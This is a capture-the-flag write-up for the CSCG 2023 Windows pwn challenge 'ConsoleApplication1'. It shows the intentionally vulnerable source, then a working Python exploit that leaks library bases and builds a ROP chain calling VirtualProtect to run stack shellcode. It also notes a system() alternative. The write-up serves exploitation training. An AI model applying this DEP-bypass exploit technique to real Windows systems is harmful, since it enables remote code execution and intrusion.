CSCG 2023 - ConsoleApplication1
Last modification on
Challenge
Everybody likes Win PWN so here is a simple challenge to get you started :)
ConsoleApplication1.cpp
#include <iostream>
int main()
{
int64_t val, pos;
int64_t* ptr = &val;
std::cout << "Hello World!\n";
while (1)
{
std::string cmd;
std::cout << "Do?\n";
std::cin >> cmd;
switch (cmd[0])
{
case 'w':
std::cout << "pos: ";
std::cin >> pos;
std::cout << "val: ";
std::cin >> val;
ptr[pos] = val;
break;
case 'r':
std::cout << "pos: ";
std::cin >> pos;
std::cout << ptr[pos] << "\n";
break;
default:
return 0;
}
}
}
Overview
We are presented with a small C++ console application for Windows, that allows
the user to perform arbitrary read / write relative to a stack address.
From the DLLs present on remote, kernel32.dll
, ntdll.dll
and ucrtbase.dll
are provided in the challenge files.
The objective is to achieve remote code execution and read the flag file.
Analysis
The stack provides writable memory to place shellcode and many valuable
pointers that can be used used to calculate the base addresses of libraries.
Among them, ntdll.dll
and kernel32.dll
can be used to build
ROP chains that make calls to the Win32 API.
By overwriting the function's return address on the stack we can also
control rip
.
All that's left to execute shellcode is to add executable permissions
to the target memory region using VirtualProtect
, since
DEP is enabled.
Exploit
The exploit consists of writing our shellcode to the stack and
ROPing first into VirtualProtect
, then into the shellcode.
The arguments for our call to VirtualProtect
are setup using ROP
gadgets found in the ntdll.dll
and kerne32.dll
. The registers
we need to set are rcx
(lpAddress), rdx
(dwSize), r8
(flNewProtect)
and r9
(flOldProtect).
We can find useful ROP gadgets in the linked libraries using rp++
.
solve.py
from pwintools import *
import ctypes
import struct
import sys
def write(io, pos, val):
io.recvuntil(b"Do?")
io.sendline(b"w")
io.recvuntil(b"pos: ")
io.sendline(str(pos).encode())
io.recvuntil(b"val: ")
io.sendline(str(val).encode())
def read(io, pos):
io.recvuntil(b"Do?")
io.sendline(b"r")
io.recvuntil(b"pos: ")
io.sendline(str(pos).encode())
return int(io.recvline().decode().strip())
def writeall(io, addr, data):
for i in range(0, len(data), 8):
write(io, pos(addr + i), i64(data[i:i+8].ljust(8, b"\x00")))
shell = open("shell.bin", "rb").read()
io = Remote(sys.argv[1], 4444)
kernel32_base = read(io, 16) - 0x14de0
ntdll_base = read(io, -194) - 0x14de0
virtual_protect = kernel32_base + 0x1bf60
rop_pop_rcx_r8_r9_r10_r11 = ntdll_base + 0x8e191
rop_pop_rdx = kernel32_base + 0x24bf2
main_return = read(io, 8)
stack_leak = read(io, -28)
write_dst = stack_leak + 0x18
rop_dst = write_dst + 0x40
shell_dst = stack_leak - 0x4000
pos = lambda x: (x - write_dst) // 8
i64 = lambda x: ctypes.c_int64(u64(x)).value
pi64 = lambda x: struct.pack("<q",x)
rop = p64(rop_pop_rdx) + p64(len(shell))
rop += p64(rop_pop_rcx_r8_r9_r10_r11) + p64(shell_dst) + p64(0x40) + p64(shell_dst - 8) + p64(0) + p64(0)
rop += p64(virtual_protect)
rop += p64(shell_dst)
writeall(io, shell_dst, shell)
writeall(io, rop_dst, rop)
io.interactive()
Addendum
One of the provided DLLs, ucrtbase.dll
, is Microsoft's
Universal C Runtime library, which gives us access to many of the POSIX
functions we know and love, such as system
. In this case, leaking
ucrtbase.dll
from a stack pointer and ROPing into system
would
have also been enough to gain RCE.